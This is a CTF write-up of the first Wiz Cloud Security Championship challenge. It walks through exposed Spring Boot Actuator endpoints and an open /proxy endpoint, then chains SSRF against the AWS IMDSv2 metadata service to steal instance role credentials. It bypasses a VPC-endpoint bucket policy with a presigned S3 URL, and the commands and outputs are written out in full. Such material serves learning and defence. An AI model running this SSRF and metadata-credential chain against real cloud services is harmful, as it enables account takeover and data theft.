Skip to content

WriteUp: Cloud Security Championship #1

The Cloud Security Championship organized by Wiz has launched its first challenge. Over the next 12 months, they will be publishing different challenges, each prepared by one of their researchers.

This first challenge is called Perimeter Leak and tells us that we must find a secret in an S3 bucket.

Perimeter Leak Cloud Security Championship #1

We start the challenge with access to a terminal and a URL of a "Spring Boot Actuator application running on AWS":

Terminal

Enumeration

We have no previous experience with this technology, but the first thing is always to see what the possible exposure surface is.

We found that we can list the different endpoints of the Spring Boot Actuator at /actuator:

user@monthly-challenge:~$ curl -u ctf:88sPVWyC2P3p "https://challenge01.cloud-champions.com/actuator" | jq .
Output
{
  "_links": {
    "self": {
      "href": "http://127.0.0.1:8080/actuator",
      "templated": false
    },
    "beans": {
      "href": "http://127.0.0.1:8080/actuator/beans",
      "templated": false
    },
    "caches": {
      "href": "http://127.0.0.1:8080/actuator/caches",
      "templated": false
    },
    "caches-cache": {
      "href": "http://127.0.0.1:8080/actuator/caches/{cache}",
      "templated": true
    },
    "health": {
      "href": "http://127.0.0.1:8080/actuator/health",
      "templated": false
    },
    "health-path": {
      "href": "http://127.0.0.1:8080/actuator/health/{*path}",
      "templated": true
    },
    "info": {
      "href": "http://127.0.0.1:8080/actuator/info",
      "templated": false
    },
    "conditions": {
      "href": "http://127.0.0.1:8080/actuator/conditions",
      "templated": false
    },
    "configprops": {
      "href": "http://127.0.0.1:8080/actuator/configprops",
      "templated": false
    },
    "configprops-prefix": {
      "href": "http://127.0.0.1:8080/actuator/configprops/{prefix}",
      "templated": true
    },
    "env": {
      "href": "http://127.0.0.1:8080/actuator/env",
      "templated": false
    },
    "env-toMatch": {
      "href": "http://127.0.0.1:8080/actuator/env/{toMatch}",
      "templated": true
    },
    "loggers": {
      "href": "http://127.0.0.1:8080/actuator/loggers",
      "templated": false
    },
    "loggers-name": {
      "href": "http://127.0.0.1:8080/actuator/loggers/{name}",
      "templated": true
    },
    "threaddump": {
      "href": "http://127.0.0.1:8080/actuator/threaddump",
      "templated": false
    },
    "metrics-requiredMetricName": {
      "href": "http://127.0.0.1:8080/actuator/metrics/{requiredMetricName}",
      "templated": true
    },
    "metrics": {
      "href": "http://127.0.0.1:8080/actuator/metrics",
      "templated": false
    },
    "sbom": {
      "href": "http://127.0.0.1:8080/actuator/sbom",
      "templated": false
    },
    "sbom-id": {
      "href": "http://127.0.0.1:8080/actuator/sbom/{id}",
      "templated": true
    },
    "scheduledtasks": {
      "href": "http://127.0.0.1:8080/actuator/scheduledtasks",
      "templated": false
    },
    "mappings": {
      "href": "http://127.0.0.1:8080/actuator/mappings",
      "templated": false
    }
  }
}

Testing different endpoints, we found the bucket name as an environment variable in /actuator/env:

user@monthly-challenge:~$ curl -u ctf:88sPVWyC2P3p https://challenge01.cloud-champions.com/actuator/env | jq .
  [...]
        "BUCKET": {
          "value": "challenge01-470f711",
          "origin": "System Environment Property \"BUCKET\""
        },
  [...]

But we still don't have access.

There is another interesting endpoint /actuator/mappings where the different request-handling classes configured are listed. The one for /proxy catches our attention:

user@monthly-challenge:~$ curl https://ctf:[email protected]/actuator/mappings | jq .

            {
              "predicate": "{ [/proxy], params [url]}",
              "handler": "challenge.Application#proxy(String)",
              "details": {
                "handlerMethod": {
                  "className": "challenge.Application",
                  "name": "proxy",
                  "descriptor": "(Ljava/lang/String;)Ljava/lang/String;"
                },
                "requestMappingConditions": {
                  "consumes": [],
                  "headers": [],
                  "methods": [],
                  "params": [
                    {
                      "name": "url",
                      "negated": false
                    }
                  ],
                  "patterns": [
                    "/proxy"
                  ],
                  "produces": []
                }
              }
            },

Proxy Access

We try to access our blog...

Proxy endpoint

Error: 418 I_AM_A_TEAPOT "This proxy can only be used to contact host names that match IP addresses or include amazonaws.com"

...but the proxy can only be used to access Amazon URLs or IPs.

Could it be that we can directly access the bucket using the proxy?

$ curl -u ctf:88sPVWyC2P3p "https://challenge01.cloud-champions.com/proxy?url=http://challenge01-470f711.s3.amazonaws.com/"
HTTP error: 403 Forbidden

What if we try with a bucket that we know is public?

Proxy endpoint

Error: 418 I_AM_A_TEAPOT "Response size is too big. If you're hitting this error, you're heading in the wrong direction."

No

Knowing that the service is running on AWS, what if we try to access the IMDS (Instance Metadata Service) endpoint?

$ curl -u ctf:88sPVWyC2P3p "https://challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/"

HTTP error: 401 Unauthorized

No

It seems to be IMDSv2, so we need to first make a PUT request to get the token.

Which is not a problem since the proxy said it will sent both the headers and the different request types.

$ TOKEN=$(curl -X PUT -u ctf:88sPVWyC2P3p "https://challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
$ curl -H "X-aws-ec2-metadata-token: $TOKEN" -u ctf:88sPVWyC2P3p "https://challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/"

ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hibernation/
[...]

Let's get the instance credentials:

$ ROLE_NAME=$(curl -H "X-aws-ec2-metadata-token: $TOKEN" -u ctf:88sPVWyC2P3p "https://challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/")

$ echo $ROLE_NAME
challenge01-5592368

$ curl -H "X-aws-ec2-metadata-token: $TOKEN" -u ctf:88sPVWyC2P3p "https://challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME"
{
  "Code" : "Success",
  "LastUpdated" : "2025-06-30T13:29:21Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIA***********",
  "SecretAccessKey" : "***********",
  "Token" : "***********",
  "Expiration" : "2025-06-30T19:57:22Z"
}
$ aws sts get-caller-identity
{
    "UserId": "AROARK7LBOHXDP2J2E3DV:i-0bfc4291dd0acd279",
    "Account": "092297851374",
    "Arn": "arn:aws:sts::092297851374:assumed-role/challenge01-5592368/i-0bfc4291dd0acd279"
}

This would probably have triggered an alert somewhere if it were a real scenario 😅.

Bucket Access

We already have credentials, and we know the name of the bucket, let's see what it has:

$ aws s3 ls s3://challenge01-470f711 --recursive
2025-06-18 19:15:24         29 hello.txt
2025-06-17 00:01:49         51 private/flag.txt

$ aws s3 cp s3://challenge01-470f711/hello.txt -
Welcome to the proxy server.

$ aws s3 cp s3://challenge01-470f711/private/flag.txt -
download failed: s3://challenge01-470f711/private/flag.txt to - An error occurred (403) when calling the HeadObject operation: Forbidden

No

Is there any policy preventing access?

$ aws s3api get-bucket-policy --bucket challenge01-470f711 | jq .
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Deny",
      "Principal": "*",
      "Action": "s3:GetObject",
      "Resource": "arn:aws:s3:::challenge01-470f711/private/*",
      "Condition": {
        "StringNotEquals": {
          "aws:SourceVpce": "vpce-0dfd8b6aa1642a057"
        }
      }
    }
  ]
}

The instance running the proxy probably has access to the VPC endpoint, but we still need to generate a presigned URL for it to have permission to access the object.

$ PRESIGNEDURL=$(aws s3 presign s3://challenge01-470f711/private/flag.txt | jq -R -r @uri)

$ echo $PRESIGNEDURL
https%3A%2F%2Fchallenge01-470f711.s3.amazonaws.com%2Fprivate%2Fflag.txt%3FX-Amz-Algorithm%3DAWS4-HMAC-SHA256%26X-Amz-Credential%[REDACTED]

We need to use @uri to encode the URL and pass it as a parameter, otherwise the request fails.

curl -u ctf:88sPVWyC2P3p "https://challenge01.cloud-champions.com/proxy?url=https%3A%2F%2Fchallenge01-470f711.s3.amazonaws.com%2Fprivate%2Fflag.txt%3FX-Amz-Algorithm%3DAWS4-HMAC-SHA256%26X-Amz-Credential%[REDACTED]"

The flag is: WIZ_CTF_[REDACTED]

And we have it!

Conclusion

This first challenge of the Wiz Cloud Security Championship has been an excellent example of a realistic vulnerability chain in a Cloud environment.

As we recently commented on LinkedIn, SSRFs are still relevant. 😉

Looking forward to seeing what awaits us in the next challenge.

Saludos, and may the force be with you.